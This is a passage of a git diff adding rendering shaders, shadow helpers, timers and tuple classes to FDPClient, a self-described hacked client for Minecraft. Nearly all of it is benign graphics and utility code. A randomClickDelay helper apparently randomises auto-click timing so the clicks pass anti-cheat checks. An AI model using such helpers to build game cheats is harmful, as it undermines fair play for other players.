ARBShaderObjects.glCompileShaderARB(shader); + + if(ARBShaderObjects.glGetObjectParameteriARB(shader, ARBShaderObjects.GL_OBJECT_COMPILE_STATUS_ARB) == GL11.GL_FALSE) + throw new RuntimeException("Error creating shader: " + getLogInfo(shader)); + + return shader; + }catch(final Exception e) { + ARBShaderObjects.glDeleteObjectARB(shader); + throw e; + + } + } + + private String getLogInfo(int i) { + return ARBShaderObjects.glGetInfoLogARB(i, ARBShaderObjects.glGetObjectParameteriARB(i, ARBShaderObjects.GL_OBJECT_INFO_LOG_LENGTH_ARB)); + } + + public void setUniform(final String uniformName, final int location) { + uniformsMap.put(uniformName, location); + } + + public void setupUniform(final String uniformName) { + setUniform(uniformName, GL20.glGetUniformLocation(program, uniformName)); + } + + public int getUniform(final String uniformName) { + return uniformsMap.get(uniformName); + } + + public int getProgramId() { + return program; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/BlurShader.kt b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/BlurShader.kt new file mode 100644 index 0000000..5099030 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/BlurShader.kt @@ -0,0 +1,83 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render.shader.shaders + +import net.ccbluex.liquidbounce.utils.MathUtils.gaussian +import net.ccbluex.liquidbounce.utils.render.GLUtils +import net.ccbluex.liquidbounce.utils.render.shader.Shader +import net.minecraft.client.gui.ScaledResolution +import net.minecraft.client.shader.Framebuffer +import org.lwjgl.BufferUtils +import org.lwjgl.opengl.GL11.* +import org.lwjgl.opengl.GL20 + +object BlurShader : Shader("blur.frag") { + + private var blurFBO = Framebuffer(mc.displayWidth, mc.displayHeight, false) + + override fun setupUniforms() { + setupUniform("radius") + setupUniform("direction") + setupUniform("texture") + setupUniform("texelsize") + setupUniform("weights") + } + + override fun updateUniforms() { + GL20.glUniform1i(getUniform("texture"), 0) + GL20.glUniform2f(getUniform("texelsize"), 1f / mc.displayWidth, 1f / mc.displayHeight) + } + + fun blur(radius: Int) { + + val weights = BufferUtils.createFloatBuffer(128) + + for (i in 0..radius) + weights.put(gaussian(i, radius / 2f)) + + // Old texture + val oldTexture = glGetInteger(GL_TEXTURE_BINDING_2D) + val sr = ScaledResolution(mc) + + // Resize blur FBO + if (blurFBO.framebufferWidth != mc.displayWidth || blurFBO.framebufferHeight != mc.displayHeight) + blurFBO = Framebuffer(mc.displayWidth, mc.displayHeight, false) + + blurFBO.framebufferClear() + + // Horizontal blur + blurFBO.bindFramebuffer(true) + startShader() + + GL20.glUniform1i(getUniform("radius"), radius) + GL20.glUniform2f(getUniform("direction"), 1f, 0f) + + weights.rewind() + GL20.glUniform1(getUniform("weights"), weights) + + glBindTexture(GL_TEXTURE_2D, mc.framebuffer.framebufferTexture) + GLUtils.drawQuads(0f, 0f, sr.scaledWidth.toFloat(), sr.scaledHeight.toFloat()) + stopShader() + + blurFBO.unbindFramebuffer() + + // Vertical blur + mc.framebuffer.bindFramebuffer(true) + startShader() + GL20.glUniform1i(getUniform("radius"), radius) + GL20.glUniform2f(getUniform("direction"), 0f, 1f) + + weights.rewind() + GL20.glUniform1(getUniform("weights"), weights) + + glBindTexture(GL_TEXTURE_2D, blurFBO.framebufferTexture) + GLUtils.drawQuads(0f, 0f, sr.scaledWidth.toFloat(), sr.scaledHeight.toFloat()) + stopShader() + + // Reset texture + glBindTexture(GL_TEXTURE_2D, oldTexture) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/CircleShader.kt b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/CircleShader.kt new file mode 100644 index 0000000..cdd3419 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/CircleShader.kt @@ -0,0 +1,22 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render.shader.shaders + +import net.ccbluex.liquidbounce.utils.render.shader.Shader +import org.lwjgl.opengl.GL20 + +object CircleShader : Shader("circle.frag") { + + override fun setupUniforms() { + setupUniform("color") + setupUniform("size") + } + + override fun updateUniforms() { + GL20.glUniform4f(getUniform("color"), 1f, 1f, 1f, 1f) + GL20.glUniform2f(getUniform("size"), 100f, 100f) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/GlowShader.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/GlowShader.java new file mode 100644 index 0000000..26086ed --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/GlowShader.java @@ -0,0 +1,38 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render.shader.shaders; + +import net.ccbluex.liquidbounce.utils.render.shader.FramebufferShader; +import org.lwjgl.opengl.GL20; + +public final class GlowShader extends FramebufferShader { + + public static final GlowShader GLOW_SHADER = new GlowShader(); + + public GlowShader() { + super("glow.frag"); + } + + @Override + public void setupUniforms() { + setupUniform("texture"); + setupUniform("texelSize"); + setupUniform("color"); + setupUniform("divider"); + setupUniform("radius"); + setupUniform("maxSample"); + } + + @Override + public void updateUniforms() { + GL20.glUniform1i(getUniform("texture"), 0); + GL20.glUniform2f(getUniform("texelSize"), 1F / mc.displayWidth * (radius * quality), 1F / mc.displayHeight * (radius * quality)); + GL20.glUniform3f(getUniform("color"), red, green, blue); + GL20.glUniform1f(getUniform("divider"), 140F); + GL20.glUniform1f(getUniform("radius"), radius); + GL20.glUniform1f(getUniform("maxSample"), 10F); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/OutlineShader.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/OutlineShader.java new file mode 100644 index 0000000..cd59960 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/OutlineShader.java @@ -0,0 +1,36 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render.shader.shaders; + +import net.ccbluex.liquidbounce.utils.render.shader.FramebufferShader; +import org.lwjgl.opengl.GL20; + +public final class OutlineShader extends FramebufferShader { + + public static final OutlineShader OUTLINE_SHADER = new OutlineShader(); + + public OutlineShader() { + super("outline.frag"); + } + + @Override + public void setupUniforms() { + setupUniform("texture"); + setupUniform("texelSize"); + setupUniform("color"); + setupUniform("divider"); + setupUniform("radius"); + setupUniform("maxSample"); + } + + @Override + public void updateUniforms() { + GL20.glUniform1i(getUniform("texture"), 0); + GL20.glUniform2f(getUniform("texelSize"), 1F / mc.displayWidth * (radius * quality), 1F / mc.displayHeight * (radius * quality)); + GL20.glUniform4f(getUniform("color"), red, green, blue, alpha); + GL20.glUniform1f(getUniform("radius"), radius); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/RainbowFontShader.kt b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/RainbowFontShader.kt new file mode 100644 index 0000000..c351813 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/RainbowFontShader.kt @@ -0,0 +1,66 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render.shader.shaders + +import net.ccbluex.liquidbounce.utils.render.shader.Shader +import org.lwjgl.opengl.GL20 +import java.io.Closeable + +class RainbowFontShader : Shader("rainbow_font_shader.frag"), Closeable { + var isInUse = false + private set + + var strengthX = 0f + var strengthY = 0f + var offset = 0f + + override fun setupUniforms() { + setupUniform("offset") + setupUniform("strength") + } + + override fun updateUniforms() { + GL20.glUniform2f(getUniform("strength"), strengthX, strengthY) + GL20.glUniform1f(getUniform("offset"), offset) + } + + override fun startShader() { + super.startShader() + + isInUse = true + } + + override fun stopShader() { + super.stopShader() + + isInUse = false + } + + override fun close() { + if (isInUse) + stopShader() + } + + companion object { + @JvmField + val INSTANCE = RainbowFontShader() + + @Suppress("NOTHING_TO_INLINE") + inline fun begin(enable: Boolean, x: Float, y: Float, offset: Float): RainbowFontShader { + val instance = INSTANCE + + if (enable) { + instance.strengthX = x + instance.strengthY = y + instance.offset = offset + + instance.startShader() + } + + return instance + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/RoundRectShader.kt b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/RoundRectShader.kt new file mode 100644 index 0000000..11a5db3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/RoundRectShader.kt @@ -0,0 +1,26 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render.shader.shaders + +import net.ccbluex.liquidbounce.utils.render.shader.Shader +import org.lwjgl.opengl.GL20 + +object RoundRectShader : Shader("roundrect.frag") { + + override fun setupUniforms() { + setupUniform("color") + setupUniform("size") + setupUniform("radius") + setupUniform("smoothness") + } + + override fun updateUniforms() { + GL20.glUniform4f(getUniform("color"), 1f, 1f, 1f, 1f) + GL20.glUniform2f(getUniform("size"), 100f, 100f) + GL20.glUniform1f(getUniform("radius"), 1f) + GL20.glUniform1f(getUniform("smoothness"), 0.5f) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/SRoundRectShader.kt b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/SRoundRectShader.kt new file mode 100644 index 0000000..b047288 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/shaders/SRoundRectShader.kt @@ -0,0 +1,26 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render.shader.shaders + +import net.ccbluex.liquidbounce.utils.render.shader.Shader +import org.lwjgl.opengl.GL20 + +object SRoundRectShader : Shader("separateroundrect.frag") { + + override fun setupUniforms() { + setupUniform("color") + setupUniform("size") + setupUniform("radius") + setupUniform("smoothness") + } + + override fun updateUniforms() { + GL20.glUniform4f(getUniform("color"), 1f, 1f, 1f, 1f) + GL20.glUniform2f(getUniform("size"), 100f, 100f) + GL20.glUniform4f(getUniform("radius"), 1f, 1f, 1f, 1f) + GL20.glUniform1f(getUniform("smoothness"), 0.5f) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/shadowRenderUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/render/shadowRenderUtils.kt new file mode 100644 index 0000000..0dce0ca --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/shadowRenderUtils.kt @@ -0,0 +1,145 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render + +import net.ccbluex.liquidbounce.features.module.modules.client.UIEffects +import net.minecraft.client.Minecraft +import net.minecraft.client.renderer.* +import net.minecraft.client.renderer.vertex.DefaultVertexFormats +import net.minecraft.util.* +import org.lwjgl.opengl.GL11.* +import org.lwjgl.opengl.GL11.GL_BLEND +import org.lwjgl.opengl.GL11.glDisable +import org.lwjgl.opengl.GL11.glEnable +import net.minecraft.client.renderer.GlStateManager + +object shadowRenderUtils { + @JvmStatic + private val glCapMap: MutableMap<Int, Boolean> = HashMap() + + @JvmStatic + var deltaTime = 0 + + @JvmStatic + private val DISPLAY_LISTS_2D = IntArray(4) + + @JvmStatic + fun drawGlowWithCustomAlpha (x: Float, y: Float, width: Float, height: Float, alpha: Float) { + drawTexturedRectWithCustomAlpha(x - 9, y - 9, 9f, 9f, "glowpaneltopleft", alpha) + drawTexturedRectWithCustomAlpha(x - 9, y + height, 9f, 9f, "glowpanelbottomleft", alpha) + drawTexturedRectWithCustomAlpha(x + width, y + height, 9f, 9f, "glowpanelbottomright", alpha) + drawTexturedRectWithCustomAlpha(x + width, y - 9, 9f, 9f, "glowpaneltopright", alpha) + drawTexturedRectWithCustomAlpha(x - 9, y, 9f, height, "glowpanelleft", alpha) + drawTexturedRectWithCustomAlpha(x + width, y, 9f, height, "glowpanelright", alpha) + drawTexturedRectWithCustomAlpha(x, y - 9, width, 9f, "glowpaneltop", alpha) + drawTexturedRectWithCustomAlpha(x, y + height, width, 9f, "glowpanelbottom", alpha) + } + + @JvmStatic + fun drawShadowWithCustomAlpha(x: Float, y: Float, width: Float, height: Float, alpha: Float) { + if (UIEffects.UiShadowValue.equals("Shadow")) { + drawTexturedRectWithCustomAlpha(x - 9, y - 9, 9f, 9f, "paneltopleft", alpha) + drawTexturedRectWithCustomAlpha(x - 9, y + height, 9f, 9f, "panelbottomleft", alpha) + drawTexturedRectWithCustomAlpha(x + width, y + height, 9f, 9f, "panelbottomright", alpha) + drawTexturedRectWithCustomAlpha(x + width, y - 9, 9f, 9f, "paneltopright", alpha) + drawTexturedRectWithCustomAlpha(x - 9, y, 9f, height, "panelleft", alpha) + drawTexturedRectWithCustomAlpha(x + width, y, 9f, height, "panelright", alpha) + drawTexturedRectWithCustomAlpha(x, y - 9, width, 9f, "paneltop", alpha) + drawTexturedRectWithCustomAlpha(x, y + height, width, 9f, "panelbottom", alpha) + } else if (UIEffects.UiShadowValue.equals("Glow")) { + drawTexturedRectWithCustomAlpha(x - 9, y - 9, 9f, 9f, "glowpaneltopleft", alpha) + drawTexturedRectWithCustomAlpha(x - 9, y + height, 9f, 9f, "glowpanelbottomleft", alpha) + drawTexturedRectWithCustomAlpha(x + width, y + height, 9f, 9f, "glowpanelbottomright", alpha) + drawTexturedRectWithCustomAlpha(x + width, y - 9, 9f, 9f, "glowpaneltopright", alpha) + drawTexturedRectWithCustomAlpha(x - 9, y, 9f, height, "glowpanelleft", alpha) + drawTexturedRectWithCustomAlpha(x + width, y, 9f, height, "glowpanelright", alpha) + drawTexturedRectWithCustomAlpha(x, y - 9, width, 9f, "glowpaneltop", alpha) + drawTexturedRectWithCustomAlpha(x, y + height, width, 9f, "glowpanelbottom", alpha) + } else if (UIEffects.UiShadowValue.equals("None")) { + return; } + } + + @JvmStatic + fun drawTexturedRectWithCustomAlpha(x: Float, y: Float, width: Float, height: Float, image: String, alpha: Float) { + glPushMatrix() + val enableBlend = glIsEnabled(GL_BLEND) + val disableAlpha = !glIsEnabled(GL_ALPHA_TEST) + if (!enableBlend) glEnable(GL_BLEND) + if (!disableAlpha) glDisable(GL_ALPHA_TEST) + GlStateManager.color(1f, 1f, 1f, alpha) + Minecraft.getMinecraft().textureManager.bindTexture(ResourceLocation("fdpclient/ui/shadow/$image.png")) + drawModalRectWithCustomSizedTexture( + x, + y, + 0F, + 0F, + width, + height, + width, + height + ) + if (!enableBlend) glDisable(GL_BLEND) + if (!disableAlpha) glEnable(GL_ALPHA_TEST) + GlStateManager.resetColor() + glPopMatrix() + } + @JvmStatic + fun drawTexturedRect(x: Float, y: Float, width: Float, height: Float, image: String) { + glPushMatrix() + val enableBlend = glIsEnabled(GL_BLEND) + val disableAlpha = !glIsEnabled(GL_ALPHA_TEST) + if (!enableBlend) glEnable(GL_BLEND) + if (!disableAlpha) glDisable(GL_ALPHA_TEST) + Minecraft.getMinecraft().textureManager.bindTexture(ResourceLocation("fdpclient/ui/shadow/$image.png")) + GlStateManager.color(1f, 1f, 1f, 1f) + drawModalRectWithCustomSizedTexture( + x, + y, + 0F, + 0F, + width, + height, + width, + height + ) + if (!enableBlend) glDisable(GL_BLEND) + if (!disableAlpha) glEnable(GL_ALPHA_TEST) + glPopMatrix() + } + @JvmStatic + fun drawModalRectWithCustomSizedTexture( + x: Float, + y: Float, + u: Float, + v: Float, + width: Float, + height: Float, + textureWidth: Float, + textureHeight: Float + ) { + val f = 1.0f / textureWidth + val f1 = 1.0f / textureHeight + val tessellator = Tessellator.getInstance() + val worldrenderer = tessellator.worldRenderer + worldrenderer.begin(7, DefaultVertexFormats.POSITION_TEX) + worldrenderer.pos(x.toDouble(), (y + height).toDouble(), 0.0).tex( + (u * f).toDouble(), + ((v + height.toFloat()) * f1).toDouble() + ).endVertex() + worldrenderer.pos((x + width).toDouble(), (y + height).toDouble(), 0.0).tex( + ((u + width) * f).toDouble(), + ((v + height) * f1).toDouble() + ).endVertex() + worldrenderer.pos((x + width).toDouble(), y.toDouble(), 0.0).tex( + ((u + width) * f).toDouble(), + (v * f1).toDouble() + ).endVertex() + worldrenderer.pos(x.toDouble(), y.toDouble(), 0.0).tex((u * f).toDouble(), (v * f1).toDouble()).endVertex() + tessellator.draw() + } +} + + diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/timer/MSTimer.kt b/src/main/java/net/ccbluex/liquidbounce/utils/timer/MSTimer.kt new file mode 100644 index 0000000..717b59d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/timer/MSTimer.kt @@ -0,0 +1,26 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.timer + +class MSTimer { + var time = -1L + + fun hasTimePassed(MS: Long): Boolean { + return System.currentTimeMillis() >= time + MS + } + + fun hasTimeLeft(MS: Long): Long { + return MS + time - System.currentTimeMillis() + } + + fun timePassed(): Long { + return System.currentTimeMillis() - time + } + + fun reset() { + time = System.currentTimeMillis() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/timer/ParticleTimer.java b/src/main/java/net/ccbluex/liquidbounce/utils/timer/ParticleTimer.java new file mode 100644 index 0000000..ac5282f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/timer/ParticleTimer.java @@ -0,0 +1,24 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.timer; + +public class ParticleTimer { + public long lastMS; + + private long getCurrentMS() { + return System.nanoTime() / 1000000L; + } + + public final long getElapsedTime() { + return this.getCurrentMS() - this.lastMS; + } + + public void reset() { + this.lastMS = this.getCurrentMS(); + } + +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/timer/TickTimer.kt b/src/main/java/net/ccbluex/liquidbounce/utils/timer/TickTimer.kt new file mode 100644 index 0000000..978d2f6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/timer/TickTimer.kt @@ -0,0 +1,45 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.timer + +import net.minecraft.util.MathHelper + +class TickTimer { + private var tick = 0 + private var lastMS: Long = 0 + private var previousTime: Long = 0 + + fun update() { + tick++ + } + + fun reset() { + tick = 0 + lastMS = getCurrentMS() + } + + fun hasTimePassed(ticks: Int): Boolean { + return tick >= ticks + } + + fun Timer() { + lastMS = 0L + previousTime = -1L + } + + fun check(milliseconds: Float): Boolean { + return System.currentTimeMillis() - previousTime >= milliseconds + } + + fun delay(milliseconds: Double): Boolean { + return MathHelper.clamp_float((getCurrentMS() - lastMS).toFloat(), 0f, milliseconds.toFloat()) >= milliseconds + } + + fun getCurrentMS(): Long { + return System.nanoTime() / 1000000L + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/timer/TimeUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/timer/TimeUtils.kt new file mode 100644 index 0000000..92eee4e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/timer/TimeUtils.kt @@ -0,0 +1,18 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.timer + +import net.ccbluex.liquidbounce.utils.misc.RandomUtils + +object TimeUtils { + fun randomDelay(minDelay: Int, maxDelay: Int): Long { + return RandomUtils.nextInt(minDelay, maxDelay).toLong() + } + + fun randomClickDelay(minCPS: Int, maxCPS: Int): Long { + return (Math.random() * (1000 / minCPS - 1000 / maxCPS + 1) + 1000 / maxCPS).toLong() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/timer/TimerUtil.java b/src/main/java/net/ccbluex/liquidbounce/utils/timer/TimerUtil.java new file mode 100644 index 0000000..aee7010 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/timer/TimerUtil.java @@ -0,0 +1,37 @@ +package net.ccbluex.liquidbounce.utils.timer; + + +public class TimerUtil { + + public long lastMS = System.currentTimeMillis(); + + public void reset() { + lastMS = System.currentTimeMillis(); + } + + public boolean hasTimeElapsed(long time, boolean reset) { + if (System.currentTimeMillis() - lastMS > time) { + if (reset) reset(); + return true; + } + + return false; + } + + public boolean hasTimeElapsed(long time) { + return System.currentTimeMillis() - lastMS > time; + } + + public boolean hasTimeElapsed(double time) { + return hasTimeElapsed((long) time); + } + + public long getTime() { + return System.currentTimeMillis() - lastMS; + } + + public void setTime(long time) { + lastMS = time; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/timer/TimerUtils.java b/src/main/java/net/ccbluex/liquidbounce/utils/timer/TimerUtils.java new file mode 100644 index 0000000..64ce59e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/timer/TimerUtils.java @@ -0,0 +1,90 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.timer; + +import net.ccbluex.liquidbounce.utils.misc.RandomUtils; +import net.minecraft.util.MathHelper; + +public final class TimerUtils { + + private long lastMS; + private long previousTime; + + public TimerUtils() { + this.lastMS = 0L; + this.previousTime = -1L; + } + + + public static long randomDelay(final int minDelay, final int maxDelay) { + return RandomUtils.nextInt(minDelay, maxDelay); + } + + public static long randomClickDelay(final int minCPS, final int maxCPS) { + return (long) ((Math.random() * (1000 / minCPS - 1000 / maxCPS + 1)) + 1000 / maxCPS); + } + + private long getCurrentMS() { + return System.nanoTime() / 1000000L; + } + + public boolean hasReached(double milliseconds) { + if ((double)(this.getCurrentMS() - this.lastMS) >= milliseconds) { + return true; + } + return false; + } + + public boolean delay(float milliSec) { + if ((float)(this.getTime() - this.lastMS) >= milliSec) { + return true; + } + return false; + } + + public long getTime() { + return System.nanoTime() / 1000000L; + } + + public boolean hasTimeElapsed(long time) { + return System.currentTimeMillis() - lastMS > time; + } + + public boolean check(float milliseconds) { + return System.currentTimeMillis() - previousTime >= milliseconds; + } + + public boolean delay(double milliseconds) { + return MathHelper.clamp_float(getCurrentMS() - lastMS, 0, (float) milliseconds) >= milliseconds; + } + + public void reset() { + this.previousTime = System.currentTimeMillis(); + this.lastMS = getCurrentMS(); + } + + public long time() { + return System.nanoTime() / 1000000L - lastMS; + } + + + public boolean delay(long nextDelay) { + return System.currentTimeMillis() - lastMS >= nextDelay; + } + + public boolean delay(float nextDelay, boolean reset) { + if (System.currentTimeMillis() - lastMS >= nextDelay) { + if (reset) { + this.reset(); + } + return true; + } + return false; + } + public void setTime(final long time) { + this.lastMS = time; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/tuples/Pair.java b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/Pair.java new file mode 100644 index 0000000..e47b019 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/Pair.java @@ -0,0 +1,38 @@ +package net.ccbluex.liquidbounce.utils.tuples; + +import net.ccbluex.liquidbounce.utils.tuples.immutable.ImmutablePair; + +import java.io.Serializable; +import java.util.Objects; +import java.util.function.BiConsumer; +import java.util.function.BiFunction; + +public abstract class Pair<A, B> implements Serializable { + + public static <A, B> Pair<A, B> of(A a, B b) { return ImmutablePair.of(a, b); } + + public static <A> Pair<A, A> of(A a) { return ImmutablePair.of(a, a); } + + public abstract A getFirst(); + + public abstract B getSecond(); + + public abstract <R> R apply(BiFunction<? super A, ? super B, ? extends R> func); + + public abstract void use(BiConsumer<? super A, ? super B> func); + + @Override + public int hashCode() { + return Objects.hash(getFirst(), getSecond()); + } + + @Override + public boolean equals(Object that) { + if(this == that) return true; + if (that instanceof Pair<?, ?>) { + final Pair<?, ?> other = (Pair<?, ?>) that; + return Objects.equals(getFirst(), other.getFirst()) && Objects.equals(getSecond(), other.getSecond()); + } + return false; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/tuples/Triplet.java b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/Triplet.java new file mode 100644 index 0000000..6442371 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/Triplet.java @@ -0,0 +1,46 @@ +package net.ccbluex.liquidbounce.utils.tuples; + +import net.ccbluex.liquidbounce.utils.tuples.immutable.ImmutableTriplet; + +import java.io.Serializable; +import java.util.Objects; + + +public abstract class Triplet<A, B, C> implements Serializable { + + public static <A, B, C> Triplet<A, B, C> of(A a, B b, C c) { return ImmutableTriplet.of(a, b, c); } + + public static <A> Triplet<A, A, A> of(A a) { return ImmutableTriplet.of(a, a ,a); } + + public abstract A getFirst(); + public abstract B getSecond(); + public abstract C getThird(); + + public abstract <R> R apply(TriFunction<? super A, ? super B, ? super C, ? extends R> func); + public abstract void use(TriConsumer<? super A, ? super B, ? super C> func); + + + public interface TriFunction<T, U, V, R> { + R apply(T t, U u, V v); + } + + public interface TriConsumer<T, U, V> { + void accept(T t, U u, V v); + } + + @Override + public int hashCode() { + return Objects.hash(getFirst(), getSecond(), getThird()); + } + + @Override + public boolean equals(Object that) { + if (this == that) return true; + if (that instanceof Triplet<?, ?, ?>) { + final Triplet<?, ?, ?> other = (Triplet<?, ?, ?>) that; + return Objects.equals(getFirst(), other.getFirst()) && Objects.equals(getSecond(), other.getSecond()) && Objects.equals(getThird(), other.getThird()); + } + return false; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/tuples/Unit.java b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/Unit.java new file mode 100644 index 0000000..9a29459 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/Unit.java @@ -0,0 +1,34 @@ +package net.ccbluex.liquidbounce.utils.tuples; + +import net.ccbluex.liquidbounce.utils.tuples.immutable.ImmutableUnit; + +import java.io.Serializable; +import java.util.Objects; +import java.util.function.Consumer; +import java.util.function.Function; + +public abstract class Unit<A> implements Serializable { + + public static <A> Unit<A> of(A a) { return ImmutableUnit.of(a); } + + public abstract A get(); + + public abstract <R> R apply(Function<? super A, ? extends R> func); + public abstract void use(Consumer<? super A> func); + + @Override + public int hashCode() { + return Objects.hash(get()); + } + + @Override + public boolean equals(Object that) { + if(this == that) return true; + if (that instanceof Unit<?>) { + final Unit<?> other = (Unit<?>) that; + return Objects.equals(get(), other.get()); + } + return false; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/tuples/immutable/ImmutablePair.java b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/immutable/ImmutablePair.java new file mode 100644 index 0000000..f5a2faa --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/immutable/ImmutablePair.java @@ -0,0 +1,46 @@ +package net.ccbluex.liquidbounce.utils.tuples.immutable; + +import net.ccbluex.liquidbounce.utils.tuples.Pair; + +import java.util.function.BiConsumer; +import java.util.function.BiFunction; + + +public final class ImmutablePair<A, B> extends Pair<A, B> { + private final A a; + private final B b; + + ImmutablePair(A a, B b) { + this.a = a; + this.b = b; + } + + public static <A, B> ImmutablePair<A, B> of(A a, B b) { + return new ImmutablePair<>(a, b); + } + + public Pair<A, A> pairOfFirst() { return Pair.of(a); } + + public Pair<B, B> pairOfSecond() { return Pair.of(b); } + + @Override + public A getFirst() { + return a; + } + + @Override + public B getSecond() { + return b; + } + + + @Override + public <R> R apply(BiFunction<? super A, ? super B, ? extends R> func) { + return func.apply(a, b); + } + + @Override + public void use(BiConsumer<? super A, ? super B> func) { + func.accept(a, b); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/tuples/immutable/ImmutableTriplet.java b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/immutable/ImmutableTriplet.java new file mode 100644 index 0000000..edffa6e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/immutable/ImmutableTriplet.java @@ -0,0 +1,51 @@ +package net.ccbluex.liquidbounce.utils.tuples.immutable; + +import net.ccbluex.liquidbounce.utils.tuples.Triplet; + +public final class ImmutableTriplet<A, B, C> extends Triplet<A, B, C> { + private final A a; + private final B b; + private final C c; + + ImmutableTriplet(A a, B b, C c) { + this.a = a; + this.b = b; + this.c = c; + } 